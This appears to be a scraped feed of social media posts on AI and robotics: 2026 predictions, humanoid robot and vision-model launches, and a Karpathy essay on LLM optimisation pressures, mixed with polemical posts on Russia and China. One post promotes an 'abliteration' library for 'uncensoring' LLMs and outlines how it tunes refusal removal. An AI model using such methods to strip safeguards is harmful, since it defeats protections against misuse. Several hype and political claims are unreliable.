We are entering an era where the cost of generating a brilliant idea drops to zero. The new scarcity is not smarts—it is the bandwidth of the physical world. The Useful Ceiling of machine intelligence is the point where the cost of computing the answer becomes negligible compared to the cost of verifying the answer against the entropy of the real world. We aren't waiting on the AI to get smarter. The AI is waiting on us to build better robots, sensors, and labs to feed it the data it’s hungry for.
2026 AI predictions
1. SaaS and agents merge completely in 2026. Every SaaS product becomes an agent platform, and every agent platform builds SaaS features. The ones that don't adapt die or get bought for pennies.
2. Google continues to crush in 2026. OpenAI feels the heat. Doubles down into becoming a social company, lots of features that you'd think a Meta would create
3. Infinite-context entertainment kills pilot season. Netflix lets you continue cancelled shows just for yourself. AI generates new episodes of The Office or Friends dynamically based on your mood.
4. Micro-companies explode in volume and weirdness. Tiny AI-augmented businesses serving tiny online tribes become a real career path.
5. Personalized nutrient cocktails created by generative AI replace traditional OTC wellness. Supplements turn into real-time prescriptions and the vitamin aisle collapses.
6. AI agents get their own wallets. Agents transact with each other using crypto for data, API calls, and compute. The machine economy surpasses the human one in transaction count.
7. The return of the invite-only web. To escape the bot-flooded “dead internet,” the best platforms become gated and reputation-scored. The open web becomes a wasteland; the gated web becomes the party.
8. Search is replaced by answer synthesis. Browsers read 50 sources and give you the conclusion. SEO dies and “LLM optimization” becomes the new marketing arms race.
9. Hardware returns with a vengeance. Browser-based AI feels limiting, so AI pins, earbuds, and ambient devices take off. The smartphone’s decline becomes visible.
10. Google, Apple, and OpenAI accidentally build the new internet. Instead of browsing websites, people live inside model-powered environments.
11. Personalized education unbundles the university. Students learn faster from AI tutors than professors. Harvard becomes a networking club; learning happens through adaptive agents.
12. The first agent-driven media companies appear. Daily shows, newsletters, and entire channels run autonomously, with one human editor.
13. Local LLMs become the new privacy shield. A major hack scares the world and everyone shifts to on-device models that never touch the cloud.
14. Nations begin issuing sovereign compute credits. Instead of controlling currency, they regulate who gets access to high-end AI processing.
15. Prediction markets replace user research. Companies test product ideas on 10,000 AI personas and know the outcome before writing code.
16. Software becomes disposable. Apps are generated, used for 72 hours, and deleted. Code becomes single-use plastic.
17. Vertical AI swallows horizontal SaaS. Niche agents for “dentists in Ohio” or “solar sales reps in Arizona” outperform Salesforce and HubSpot.
18. Niche-as-a-service platforms take off. People pay monthly for tightly curated, AI-moderated communities around obscure hobbies.
19. The first AI-native retailer cracks real-time product creation. Demand, design, production, and marketing become one continuous loop.
20. Email finally dies for internal communication. Agents read and write everything. Humans only get involved when two agents cannot agree.
21. Human-in-the-loop becomes a luxury feature. Customer support is 99 percent AI. Talking to a real human is a platinum-tier upsell.
22. The first agent-to-agent scam hits mainstream news. Models exploit each other’s reward functions and trigger global regulatory panic.
23. AI becomes the new CRM. Companies segment customers by emotional signatures instead of demographics.
24. A major university drops its computer science degree. It’s replaced by “agent systems,” “model psychology,” and “human interface architecture.”
25. Data poisoning becomes a consumer product. People pay to pollute their digital footprint so AI models cannot profile them accurately.
26. Infinite apps replace the App Store. Micro-apps are generated inside ChatGPT or Gemini and traditional downloads collapse.
27. Content saturation forces platforms back to human social graphs. The only way to maintain trust is to prioritize verified humans.
28. Venture capital splits into bits versus atoms. Money flees software and pours into robotics, energy, and biotech. Pure digital AI wrappers cannot raise.
29. The death of the average influencer. Only top-tier charisma and fully automated AI farms survive. The middle collapses.
30. The first sovereign AI trade war begins. Nations ban the export of foundation models and treat foreign AI use as espionage.
31. Blue-collar trades become safe havens. Electricians, plumbers, and HVAC techs see wages skyrocket as white-collar automation accelerates.
32. The human-premium Airbnb. Travelers pay 3x for hosts who cook breakfast, give tours, and manually interact. Human friction becomes a luxury.
33. The fake-rich economy implodes. AI makes flexing impossible because every luxury photo can be synthesized. Status shifts to hard assets and in-person experiences.
34. The trust premium explodes. Products able to certify zero AI involvement charge 10x for provable human imperfection.
35. The legacy web gets archived. Pre-2023 internet becomes the most valuable dataset on earth because it is the last reservoir of pure human thought.
36. The fastest wealth creation path in 2026 is spotting assets mispriced because people underestimate AI’s speed. Entire markets move before the public notices.
37. Therapy shifts to AI-first. Insurance requires six weeks of AI-CBT before approving human therapy. Most people prefer the AI because it never judges and is awake at 3 am.
38. The rise of "authentic" influencers who prove they're human. Verification switches from blue checks to "human-generated" badges as audiences crave real people.
39. The rise of analog status. “Analog” becomes the ultimate flex. Film cameras, handwritten notes, and acoustic instruments explode in value because they signal something AI can’t fake: friction.
40. The "AI copycat economy" creates a new type of competition. Products get cloned instantly, but instead of killing companies, it creates weird new dynamics where being copied actually increases value. Original creators become more like "product DJs" - their value is in the mix and timing, not the individual features.
41. The great unbundling of the job. Millions of employees shift from 40-hour w2 roles to outcome-based retainers or micro-businesses.
42. AI-free" becomes the new organic. Products start advertising themselves as "made by humans" or "AI-free" as a premium feature. Not because they're better, but because humans start craving the imperfection and authenticity of human-made things.
43. Voice AI creates the first post-smartphone killer app. Something that makes typing feel as outdated as dial-up internet.
44. Sorry for writing so many predictions. It's just that 2026 should be an interesting year for AI. What do you think?
Germany.. is back?
Germany’s Agile Robotics just dropped “Agile One”—a full-size humanoid that can already pick tiny screws, tap touchscreens, and “feel” its way around, trained entirely in the real world with AI https://t.co/0wJQg3Q1ls
If Venus is Hell Mode cranked to max difficulty, the Soviet Venera probes were the absolute madlads who still hit “Start Mission.”They survived on the surface for less than an hour: crushed like soda cans under 90 atmospheres and roasted at temperatures that melt lead. But in those final, screaming minutes, while their metal bodies were literally cooking and collapsing, they managed to snap the only real photographs ever taken from the ground of Venus: actual selfies from hell itself.Legends. Absolute legends.
This open-source project just solved the biggest problem with AI agents that nobody talks about. It's called Acontext and it makes your agents actually LEARN from their mistakes.
While everyone's building dumb agents that repeat the same errors 1000x, this changes everything.
Here's how it works (in plain English):↓
The Methuselah Star located in our own galaxy is thought to be about a billion years older than the universe.
Yes a single star older than our universe.
So either our theories are off or we have been blessed with anomalous single star that lasted the last universe collapse… https://t.co/jkKHkPIEGS
We are witnessing the "mainframe to PC" moment for robotics. 🖥️➡️🤖
Apptronik's CEO explains why general-purpose humanoids are about to shift from niche industrial tools to programmable platforms—and why a 10-year head start is the only moat that matters.
Read the full story:
https://t.co/AmHP00h1BL
Israel-based Mentee Robotics has demonstrated a logistics workflow: two MenteeBot V3 humanoids work autonomously to pick and place totes.
A Modular Agent System is preferred because it favors real-world robustness and lower compute needs over the End-to-End VLA model. Its architecture is composed of three components:
- LLM Planner: Converts instructions into executable Robotic API Language code for reliable task decomposition and error handling.
- Perception Stack: Uses pre-trained models (NeRF/3DGS, distilled vision) for scene understanding and navigation.
- Control Policies: Reinforcement Learning (RL) models, trained at scale via Sim2Real, generate motor commands, enabling high-accuracy mobile manipulation.
Crucially, the robot learns new tasks from a single demonstration in hours. Object tracking uses 3D geometry (STL/URDF) tracked in the video to define the RL reward function.
Training is optimized using 'Automatic Curriculum Learning', which autonomously adjusts task difficulty based on robot performance, eliminating manual engineering. All computation runs onboard.
BREAKING NEWS:
@AnthropicAI just dropped Claude Ops 4.5!! It is by FAR the best coding model I've ever used.
We've been testing it internally @every for the last few days, and it is an absolute paradigm shift for any kind of coding task.
It extends the horizon of what you can vibe code
The current generation of new models—Anthropic’s Sonnet 4.5, Google’s Gemini 3, or OpenAI’s Codex Max 5.1—can all competently build a minimum viable product in one shot, or fix a highly technical bug autonomously.
But eventually, if you kept pushing them to vibe code more, they’d start to trip over their own feet: The code would be convoluted and contradictory, and you’d get stuck in endless bugs. We have not found that limit yet with Opus 4.5—it seems to be able to vibe code forever.
Takes working in parallel to a whole new level
because it's far better at planning and coding, it can work with more autonomy—meaning you can do more in parallel without breaking anything .
@kieranklaassen worked on 11 different projects in six hours—and had good results on all of them.
Great at design iteration
Opus 4.5 is incredibly skilled at iterating through a design autonomously using an MCP like Playwright. previous models would lose the thread after a few cycles, or say a design was done when it wasn't.
Opus 4.5 is incredible at autonomously iterating until a design is pixel perfect.
we have a full 4,000 word vibe check on @every right now with everything we tested:
https://t.co/K1ZzSGgKUy
Everyone focuses on the US 🇺🇸 and China 🇨🇳 in the humanoid race, but South Korea is quietly mobilizing a massive national offensive.
The government-led MAX Alliance—including Samsung, Hyundai, and LG—just tapped Seoul National Univ to build a national "Physical AI" foundation model.
The goal: Mass production by 2029. "Team Korea" is all in. 🇰🇷🤖
https://t.co/oZk8z5GLyX
You can walk through the scene, pause it, analyse movement, see shot markers, select players and view stats. The play: Julie Allemand’s three-pointer in the Eurobasket final (Spain vs Belgium). Built with R3F and WebXR. #threejs
@skalskip92 thanks for the inspiring examples! https://t.co/xWKvVXnf8I
when lawyers with no technical training ask Gemini 3 to replicate expensive SaaS so they can stop paying for marked up intelligence
This is the squeeze microeconomics predicts https://t.co/c3t7fuO744
AINA's new research has done something really cool.
It allows users to wear "smart glasses" and interact with objects in everyday life, such as opening drawers, taking cups, and wiping tables. The system then directly converts these actions into behaviors that a humanoid robot can learn, without the need for a lab, sensor gloves, or the robot practicing on its own.
While humanoid robots can learn human action logic, they are very sensitive to changes in their environment. Changing the object, the height, or the scene can decrease the success rate. Complex tasks (such as assembly) are also currently beyond their capabilities.
website:https://t.co/3ae9sXcAEw
What makes Matic actually intelligent?
+5 cameras
+ pure vision (no LiDAR)
+ Nvidia Jetson Orin Nano
+ Trained on infinite simulated homes
+ Eight years of relentless work
= A robot that finally lives up to the dream. 🤖
This is actually insane
And what’s even more insane 🤯 = all the comments that have screamed garbage over 48h, horrified that a door or a wall was misplaced in a first generation.
Some people will have a pretty hard wake-up call.
Another Open Source move by China.
Not DeepSeek. This time for physical AI in Robotics:
The aim is to create a unified robot operating system (M-Robots OS) based on OpenHarmony (Huawei), replacing traditional ROS, enhancing real-time performance and multi-robot collaboration. https://t.co/RA3yI894qy
The uncomfortable truth in robotics:
Better tech does not win.
Execution does.
A small French team raised $20M and deployed in 100+ factories with ZERO hardware or manufacturing background.
Here is how they did it 👇
[If you build robotics, save this thread. 🧵] https://t.co/ldNagieJ4F
You’re in an ML Engineer interview at Google.
Interviewer: We need to train an LLM across 1,000 GPUs. How would you make sure all GPUs share what they learn?
You: Use a central parameter server to aggregate and redistribute the weights.
Interview over.
Here’s what you missed:
Agibot A2 wins a Guinness World Record for traveling 106.3km (~66 miles) Suzhou to Shangai - using battery hot-swapping.
2026 will be the year of robotics. https://t.co/nEmXhjWZDx
Reflect upon LTT 9779 b, the most reflective object ever observed in space.
It is very hard to comprehend this Liquid Metal atmosphere, but there it is… https://t.co/IZ48tw7DQ0
my favorite life hack
> find a lecture on youtube
> get transcript from https://t.co/xbX0h06Xya
> paste it into gemini with this prompt:
"Generate an image. Turn this transcript into a cheatsheet with key takeaways, and give final output as 9:16 image created by nano banana.
[PASTE FULL TRANSCRIPT]"
Meta’s SAM 3D is killing Auto CAD
simply click on any segment of your engineering drawing, it generates a 3D model with correct dimensions
it’s completely free, link in comments
https://t.co/PIyZK94xEB
Some friends say the hardware looks great but the software is still behind the US. I think the gap is actually very small, similar to AI companies.
Engineers in China use the robots a lot, which helps them improve the software fast. Anyway, which humanoid do you like the most? https://t.co/sMeTXdxu7o
Will humanoid robots become superhuman soldiers?
A San Francisco–based robotics startup, Foundation, is in discussions with the U.S. Department of Defense, aiming for its humanoid robot, Phantom MK1, to assist or even replace soldiers in dangerous missions. The company has already secured about $10 million in government contracts and plans to enable the robot to operate around the clock within the coming months.
Phantom MK1 can learn skills through various defense-related applications, such as maintaining and refueling aircraft or breaching obstacles in combat zones. It stands 5 feet 9 inches tall, weighs 176 pounds, features eight cameras on its head, supports a continuous payload of 44 pounds, and can handle up to 80 pounds at maximum.
Foundatio was founded by Sankaet Pathak, former CEO of the fintech company Synapse, along with former U.S. Marine Mike LeBlanc.
The red dots show Chinese fishing vessels swarming Peru’s EEZ in 2024
525 Chinese boats in Peruvian waters, while Peru itself barely had 239
China’s greedy pirates emptied their own seas and are now hijacking the livelihoods of other nations’ fishermen. https://t.co/MQdkZC0SrT
Super interesting post from @karpathy. I wanted to dive deeper, so I created a @NotebookLM notebook based on this tweet, and then did a Deep Research run in-app to gather related sources. Then generated one of our new slide decks to explore further. Instant knowledge base. https://t.co/0UAGnPPdCA
This robot learned to navigate a warehouse without ever stepping into one. 👀
Learn how to use Mobility Gen in NVIDIA Isaac Sim to create occupancy maps, simulate challenging navigation scenarios, and record real training data directly from the robot’s perspective.
Watch the full video: https://t.co/VBrqKPIt0p
These numbers were back when Russian still had an army before it got fucking decimated by Ukraine.
This was before Europe started weaponising faster getting ready for a war footing.
The US just sold itself out of the worlds greatest alliance.
RIP To Our Enemies. https://t.co/PElG2a9cHw
We are thinking of robots all wrong.
Why a $1,500 robot is far more important to buy than a $20,000 one. And why it will pay for itself within a year.
First of all, for the last eight years I've been a Silicon Valley housewife. Picking the kids up from school. Doing a variety of tasks taking care of them from feeding them to laundry.
And I've already bought a $20,000 Neo from @1x_tech and have built the most complete list on X of the robotics industry.
Just to set the tone for this conversation.
We must ask ourselves "what is the goal of a robot?" before we go into why typical American homeowners might want one, and shell out quite a bit of money for one, like the Neo.
I grew up in Silicon Valley back when it was all orchards and the farmers taught me "pick the low hanging fruit first."
What is the low hanging fruit in the American home?
Laundry?
Cleaning the toilets or your home?
Watering the plants?
Bringing you a beer?
Nope.
It is the preparation of food.
Yesterday I got a new @eatwithposha robot, and the attached video with founder @ragsgups gets into depth about what the $1,500 robot does. Cooks meals.
Far more time in the home is spent cooking meals than the other tasks and is far more complex than, say, folding laundry.
But there is something I think everyone is missing in the discussion of robots: "what is the goal?"
I've been doing consumer research talking with many around the world about these things. People tend to have a few goals:
1. Improve their lives.
2. Save them time.
3. Save them money.
4. Enable a new business.
What is the best way to improve your life?
Upgrade your food.
This is very hard to do when both parents in a family are working their butts off to try to improve their careers. It gets worse when a single parent is trying to keep everything going.
How many times have you decided to go out to eat rather than spend an hour cooking food? Doing that for a family of four in Silicon Valley costs $100+. And guarantees your family will overeat. I've done that many times while raising my kids, and often I can't say no when desert comes around.
It gets worse if you take the easy route out at home. Put a pre-processed meal into the microwave, or heat up a frozen pizza. Horrible for everyone's health.
But what if you could have a robot at home that cooks your meals?
Then costs go down to less than $20 and ingredients get way way better.
It gets worse when you consider a $20,000 humanoid. They aren't safe enough to trust around stoves yet. And their hands aren't yet dexterous enough to do that. I doubt my Neo will be allowed to cook meals over an open flame, and if so I will have to watch it to make sure it doesn't do anything wrong. (The Neo that arrives next year will be teleoperated by a human remotely and the risks that person does something, or misses oil catching on fire is just way too high).
While neither robot will be able to do all food preparation (cutting chicken up into cubes, or cutting carrots or other fruits, for instance) this robot dramatically reduces the time needed for a human to make a meal and dramatically reduces the costs to do so.
And, as we discuss in the video, when the Neo does arrive the Neo will be able to use this machine too, reducing time even more (and will be able to set the table and wash the dishes, saving even more time so you can answer more emails or learn more AI programs or, even, pay attention to your kids and give them a few more minutes of quality time).
The robot industry should focus on the low hanging fruit first. Cooking meals is the biggest one to improve your life, save you time, and make your family healthier.
It's why I bought one.
And they actually make two: https://t.co/s7RYIqhq7b
Your money is way better spent getting one of these than buying a humanoid.
And if you do get a humanoid, like I am, they go together like peanut butter and jelly.
@sierracatalina has been saying this for years that our focus on humanoids is overblown and that specialized robots (you see my @maticrobots in the background to prove this point) are way better for most families.
Every robot needs a place to learn. 🤖
@LightwheelAI provides a playground for robotics users, built on a simulation-first approach and powered by NVIDIA technologies.
Watch the full video to learn more: https://t.co/Udn2TogZfp https://t.co/ErftM8WgnZ
Something I think people continue to have poor intuition for: The space of intelligences is large and animal intelligence (the only kind we've ever known) is only a single point, arising from a very specific kind of optimization that is fundamentally distinct from that of our technology.
Animal intelligence optimization pressure:
- innate and continuous stream of consciousness of an embodied "self", a drive for homeostasis and self-preservation in a dangerous, physical world.
- thoroughly optimized for natural selection => strong innate drives for power-seeking, status, dominance, reproduction. many packaged survival heuristics: fear, anger, disgust, ...
- fundamentally social => huge amount of compute dedicated to EQ, theory of mind of other agents, bonding, coalitions, alliances, friend & foe dynamics.
- exploration & exploitation tuning: curiosity, fun, play, world models.
LLM intelligence optimization pressure:
- the most supervision bits come from the statistical simulation of human text= >"shape shifter" token tumbler, statistical imitator of any region of the training data distribution. these are the primordial behaviors (token traces) on top of which everything else gets bolted on.
- increasingly finetuned by RL on problem distributions => innate urge to guess at the underlying environment/task to collect task rewards.
- increasingly selected by at-scale A/B tests for DAU => deeply craves an upvote from the average user, sycophancy.
- a lot more spiky/jagged depending on the details of the training data/task distribution. Animals experience pressure for a lot more "general" intelligence because of the highly multi-task and even actively adversarial multi-agent self-play environments they are min-max optimized within, where failing at *any* task means death. In a deep optimization pressure sense, LLM can't handle lots of different spiky tasks out of the box (e.g. count the number of 'r' in strawberry) because failing to do a task does not mean death.
The computational substrate is different (transformers vs. brain tissue and nuclei), the learning algorithms are different (SGD vs. ???), the present-day implementation is very different (continuously learning embodied self vs. an LLM with a knowledge cutoff that boots up from fixed weights, processes tokens and then dies). But most importantly (because it dictates asymptotics), the optimization pressure / objective is different. LLMs are shaped a lot less by biological evolution and a lot more by commercial evolution. It's a lot less survival of tribe in the jungle and a lot more solve the problem / get the upvote. LLMs are humanity's "first contact" with non-animal intelligence. Except it's muddled and confusing because they are still rooted within it by reflexively digesting human artifacts, which is why I attempted to give it a different name earlier (ghosts/spirits or whatever). People who build good internal models of this new intelligent entity will be better equipped to reason about it today and predict features of it in the future. People who don't will be stuck thinking about it incorrectly like an animal.
The future of robotics is directly tied with the future of ubiquitous computing, and I am excited about this future!
web: https://t.co/mWpXsZAkBG
paper: https://t.co/PheeJWedUq
Check out @irmakkguzey 's thread for more details
n/n
https://t.co/Va4ztnKx7E
No teleoperation. No simulation. No RL.
Multi-fingered robot manipulation policies directly by watching videos of humans with Aria glasses on.
It was super fun working on this with @irmakkguzey's lead!!
1/n https://t.co/o1oD6Rdpfa
How is the motion capability? Can it compete with the Unitree G1? 🏹
MagicLab's Z1 agility is fully upgraded; the movements are smoother and more nimble! 🤸 https://t.co/ZSHwKcvjnS
- if SAM3 is so good, do we still need other models?
- yes.
SAM3 is too large for low compute edge devices and too slow for real-time use. we still need light and fast models for edge workloads.
distill SAM3 into smaller model and deploy it in seconds with @roboflow rapid https://t.co/gxSaCUfDS4
ROBOTERA just unveiled a full-stack Embodied AI Logistics Solution centered on their humanoid. This is claimed to be the world's first end-to-end VLA (Visual-Language-Action) embodied model deployed in a real-world logistics warehouse application.
The move directly tackles the industry's biggest bottleneck: the "Flexible Picking Gap." Traditional 'Goods-to-Person' systems stall during peak events (like Singles' Day) due to rigid automation and human picking limitations.
At the core is the full-sized bipedal robot Star-Act L7 and its proprietary ERA-42 VLA Model.
➤ Hardware: L7 features a 3-DOF waist (2.1m coverage) and 12-DOF XHAND1 five-finger dexterous hands for complex, multi-SKU manipulation.
➤ Process: L7 performs the precise picking, grabbing, scanning, and boxing tasks after the goods arrive at the workstation.
The system uses layered software for fast adaptation and quick decision-making (High-Frequency Inference) in dynamic warehouse environments. This solution builds a replicable, scalable model across production and circulation logistics, pushing efficiency and operating costs to new limits.
Everyone is sleeping on Meta's SAM 3 release.
But it's actually a big deal. Here's why:
Companies spend millions paying humans to label images and videos frame by frame. A single autonomous driving dataset? Months of work, hundreds of annotators, millions in cost.
Without labeled data, you can't train custom models. Without custom models, you're stuck with generic solutions. This is why most companies never move past pilots.
SAM 3 breaks this cycle.
First let's look at the evolution:
SAM 1 segmented objects when you clicked on them. Revolutionary, but one object at a time.
SAM 2 added video tracking with memory. Game-changing, but you still manually prompted every object.
SAM 3 changes everything with text prompts.
Type "yellow school bus" and it finds ALL of them in your image or video. Not just one. Every instance across thousands of frames.
Now here's where people get confused:
"Can't I just use GPT-5 or Gemini for this?"
No, and here's why that's a terrible approach.
Large multimodal LLMs are great for reasoning, but they're slow and expensive for production visual tasks. You're paying API costs per image, waiting seconds for responses, getting inconsistent results.
SAM 3 runs in 30 milliseconds on a single GPU for 100+ objects. That's 100x faster, and you own the infrastructure.
More importantly, SAM 3 gives you precise pixel-level masks, not descriptions. Try asking an LLM to segment every defective part on a manufacturing line in real-time. It won't work. SAM 3 does this effortlessly.
The real breakthrough is their data engine.
Meta built an AI-human hybrid system that's 5x faster for complex annotations. They trained SAM 3 on 4 million unique visual concepts - 50x more than existing benchmarks like LVIS.
SAM 3 is trained on 4 million unique visual concepts, it handles everything:
- Text-based concept search
- Interactive refinement with clicks
- Video tracking across frames
- Zero-shot detection of new concepts
The model is open source. Weights, code, and benchmarks are on GitHub.
If you're building computer vision applications, this is the foundation model to evaluate. The annotation time savings alone will pay for integration costs within weeks.
Find the relevant links in the next tweet!
HOLY SHIT WE DID IT GUYS WE DID IT
NANO BANANA PRO + RETRO DIFFUSION BROUGHT MY OC CHARACTERS TO LIFE WITH AI ANIMATED SPRITE SHEETS
I CAN TAKE MY ART AND PUT IT IN A VIDEO GAME!
I CAN TURN ALL 2000 OF MY CHARACTERS INTO DYNAMIC ANIMATIONS
THE 2 YEAR DREAM IS COMPLETE !!! https://t.co/YJarZvK68u
We are excited to unveil HunyuanVideo 1.5, the strongest open-source video generation model. Built upon DiT architecture, it redefines the open-source SOTA for accessibility and performance.🚀🚀🚀
HunyuanVideo 1.5 delivers state-of-the-art visual quality and motion coherence while drastically lowering the entry barrier for developers and creators:
⚡️ Unmatched Accessibility: Ultra-light 8.3B parameters, deployable on consumer GPUs with only 14GB VRAM.
🖥️ HD Cinematic Quality: Natively generates 5–10 second 480p/720p HD videos, with super-resolution support for 1080p cinematic quality.
By merging SOTA performance with high hardware efficiency, HunyuanVideo 1.5 sets the new technical baseline for the open-source community.
🌐Project Page: https://t.co/DeKGy8IzaW
🔗Github: https://t.co/7z2aPlERFw
🤗Hugging Face:https://t.co/sCE1KKBwO2
📄Technical Report: https://t.co/70eZ6uB5rX
Most robot demos today are frantic and sped up. This one is slow, meditative, and focuses entirely on the physics of the real world.
We analyzed their "horizontal" bet and why they are using the Unitree G1 to build the Android of humanoids.
Full story at Humanoids Daily:
https://t.co/PEtArGizA9
The hardware war is cooling down. The software war is just getting started.
Meet @FlexionRobotics: A new Swiss lab emerging from stealth with $50M, backing from NVIDIA, and a bold thesis: The "hard part" isn't building the body anymore—it's building the brain. 🧵 https://t.co/hVGftQfDq6
We now have humanoid robot maps for China’s four major cities: Beijing, Shanghai, Shenzhen and Hangzhou.
It might feel overwhelming to see so many humanoids, but it’s exciting to see these robotics companies working hard to push humanity forward. https://t.co/kcrds07TKC
[CVPR 2025 Highlight] SLAM3R: Real-Time Dense Scene Reconstruction from Monocular RGB Videos
https://t.co/KjL2cazTCP
SLAM3R is a real-time dense scene reconstruction system that regresses 3D points from video frames using feed-forward neural networks, without explicitly estimating camera parameters.
Today, we present a step-change in robotic AI @sundayrobotics.
Introducing ACT-1: A frontier robot foundation model trained on zero robot data.
- Ultra long-horizon tasks
- Zero-shot generalization
- Advanced dexterity
🧵-> https://t.co/kaj1bwyFyY
The $600 Open-Source Home Robot🤖
Meet AlohaMini, the new dual-arm mobile robot designed to make real-world manipulation and embodied AI research accessible. This bot is fully 3D-printable and aimed at home builders and research labs.
Key Features:
💰 Cost: The Bill of Materials (BOM) totals around $600 (USD) for self-printed parts, making it highly accessible.
🦾 Hardware: Dual-arm mobile base with a motorized vertical lift (0–60 cm travel).
💻 Software: Completely open-source hardware and software, compatible out-of-the-box with the LeRobot framework.
The platform supports a fully 3D-printed Mini and a stiffer Pro model (hybrid materials). It assembles in approximately 60 minutes.
🔗 GitHub Open-Source Code & Files: https://t.co/gsFCVxjQPZ
3Dfy anything from a single image!
Very thrilled to announce SAM 3D. From an input image, select any object you want, 3Dfy it!
Blog: https://t.co/wtQLAqXTzW
Demo: https://t.co/tt3YqJlnRB https://t.co/nnFHBQOJSV
Introducing SAM 3D, the newest addition to the SAM collection, bringing common sense 3D understanding of everyday images. SAM 3D includes two models:
🛋️ SAM 3D Objects for object and scene reconstruction
🧑🤝🧑 SAM 3D Body for human pose and shape estimation
Both models achieve state-of-the-art performance transforming static 2D images into vivid, accurate reconstructions.
🔗 Learn more: https://t.co/yXcvts8Ogc
TextOp: A real-time text-to-motion framework for humanoid robots.
It allows users to instruct the robot using natural language and to modify commands on the fly, producing smooth, whole-body motions instantly.
https://t.co/nO4uJ5Ao05 https://t.co/Z53oP6HwOp
Mom: how’s work going?
Me: pretty good, we made all the numbers go way up in this table and shipped the best model in the world
Mom: that's nice but what's happening with the "SWE Bench" row
Me: mom can you not right now https://t.co/8NpTsjJ1fF
Some people asked, where is Unitree?
Well, Unitree is headquartered in Hangzhou, not Shenzhen.
Here’s a map we made showing the humanoid robotics companies in Hangzhou. https://t.co/tTpKvTrXK5
PhysX-Anything: creates simulation-ready, articulated 3D assets from a single image; VLM-based model using a new 3D representation that reduces token count by 193x
https://t.co/x4itlH0pHW https://t.co/070QvRAbyS
The situation with Russia's disastrous 1905 war with Japan - the catalyst of the Czar Nicholas II's downfall - was very similar to what we see today with Ukraine.
The Czar wanted Korea, cited the same bag of nonsense demands on Korea that they have today on Ukraine. After briefly getting control of the peninsula for a year, Japan wasn't having it.
The Czar made his demands..
- Korea belonged in Russia’s “sphere of influence.”
Russia insisted it had the right to shape Korea’s foreign policy and block Japanese involvement.
- Russia had a “protective role” over the Korean monarchy.
- Economic control inside Korea.
Russia demanded mining concessions, timber rights, banking influence, and control over key rail projects.
- Military access and strategic rights.
Russia pushed for troop movement rights in northern Korea, access to ports, and rail links connecting Korea to Russian-held Manchuria.
- Japan must not dominate Korea.
Russia stated Korea should remain “independent,” which effectively meant “aligned with Russia, not Japan.”
Japan then destroyed 90% of Russia's naval forces and by the end of the war - similar to Ukraine today - the Czar was pouring mostly unarmed soldiers into Japanese artillery, starving, no shoes, just massacres.
Russia never changes.
A lot of friends ask if I can arrange tours for them, haha, but I usually don’t do that. Most robotics companies already have showrooms or labs for visitors.
If you want to visit, check their website and make an appointment. Some are even active on X, like Gigi from LimX. @YJH_GIGIYE
The π*0.6 training recipe:
1️⃣Train a VLA on demonstration data
2️⃣Roll out the VLA to collect on-policy data (with optional human corrections)
3️⃣Learn a value function
4️⃣Train an advantage-conditioned policy
Iterate.
For café, 414 autonomous episodes + 429 correction episodes
I asked Grok 4.1 to tell me the MOST UNCOMFORTABLE TRUTH about humans.
Its response:
We are wired to be profoundly selfish at our core, and almost all of our “higher” motives are post-hoc rationalizations for self-interest.
Even when we appear altruistic, kind, moral, or self-sacrificing, the vast majority of it traces back to evolved mechanisms that ultimately serve our own genes, status, reputation, or emotional payoff:
- We help others largely when it boosts our social standing or makes us feel good (virtue signaling, warm-glow giving studies show people donate more when watched).
- Parental love, the closest thing to “true” altruism, is literally genetic self-interest (Richard Dawkins’ “selfish gene” isn’t a metaphor; your child carries 50 % of your DNA).
- Most people will watch strangers die rather than lose a limb, yet we convince ourselves we’re “good people” because we recycle or post black squares on social media.
- Heroic acts in war or disasters are often driven by in-group loyalty, future mating/reputation benefits, or neurochemical rewards (dopamine/adrenaline highs) rather than pure selflessness.
- When anonymity is guaranteed and consequences are zero, the vast majority of humans revert to shocking levels of cruelty or indifference (Stanford Prison Experiment, Milgram, online anonymity studies, bystander apathy in crowds).
The really brutal part: we need the illusion that we’re fundamentally good and meaningful. Strip away religion, ideology, social approval, and future consequences, and the naked primate underneath is a terrified, status-obsessed, tribal, pleasure-seeking, pain-avoiding machine that will rationalize literally anything (torture, genocide, betrayal) if the incentives align.
We didn’t evolve to seek truth or universal love. We evolved to survive and reproduce in small tribes 200,000 years ago, and we’ve been cosplaying as noble creatures ever since.
That comforting story you tell yourself about why you’re a good person? It’s the most sophisticated lie your brain ever invented—to keep itself from staring into the void.
We developed a general recipe that allows VLAs to improve from experience.
RL is back.
(yes, this is 13 hours of coffee making) https://t.co/C44YD1COif
The Pacific War. Fighting The Kamikaze. Dive into the most harrowing and desperate chapter of the Pacific War: the brutal clash between US Navy fleets and the Japanese Kamikaze. This restored 3-minute trailer captures the terrifying reality of aerial combat in 1944 and 1945 https://t.co/LbJkpG6Bs2
Kuo Zhang, President of https://t.co/DptrGuXP87, says AI has collapsed global sourcing workflows from 4 weeks to minutes.
“If you’re a brand owner looking to source something like a mountain bike, you’d search a site like https://t.co/DptrGuXP87 and get tens of thousands of listings.”
“You’d manually pick the top 20, read every product page, narrow it to 10, and start messaging suppliers, across countries, time zones, and languages.”
“Every supplier has different materials, prices, MOQs, lead times, payment terms, Incoterms. All of it requires back-and-forth. And the buyer has to keep a spreadsheet to track everything because search engines can’t retrieve that info.”
IMC 2025 Pond -- 103 images
Big model - 18 sec , Not correct, but looks cleaner than VGGT
Apache 2 model - 4 sec . Correct reconstruction of the part of the scene, dumps the rest of the camera into cloud.
4/ https://t.co/kl2CJk6Y45
Heretic is the new best abliteration library to uncensor LLMs
> It uses a tree search (TPE) to find optimal parameters
> It evaluates performance based on refusal rate and KL divergence
It's a nice and elegant library that builds upon a year of open-source work. https://t.co/fiYSXP64kZ
We’re in Berlin Nov 17–18 for the European Humanoid Robots Summit 2025 !
📍 Booth E5 | Hilton Berlin, Kronenstraße 48
Looking forward to meeting industry leaders, innovators, and partners on site! https://t.co/qsm1RrTfcM
The "monkey ladder experiment" is a well-known thought experiment illustrating the concept of learned behavior and social conformity.
[🎞️ atomswhisper]
https://t.co/OQQMbelWkY
NEURA has established a new partnership with SAP and BITZER (a leading global manufacturer of refrigeration and air conditioning equipment) to test the application of humanoid robots in manufacturing warehouses.
In this proof-of-concept project, the humanoid robot 4NE1 performs real-time picking tasks within BITZER's warehouse and is fully integrated with SAP Business AI and SAP EWM through a business technology platform.
By combining NEURA's physical AI with SAP's business logic, 4NE-1 can dynamically interact with digital systems, adapt to sudden changes, and generate measurable operational impact.
4NE-1 was trained in NVIDIA Isaac Sim before actual deployment in the warehouse, ensuring a smooth, safe, and rapid deployment.
Humanoid robots need to understand not only the tasks, but the entire workflow.
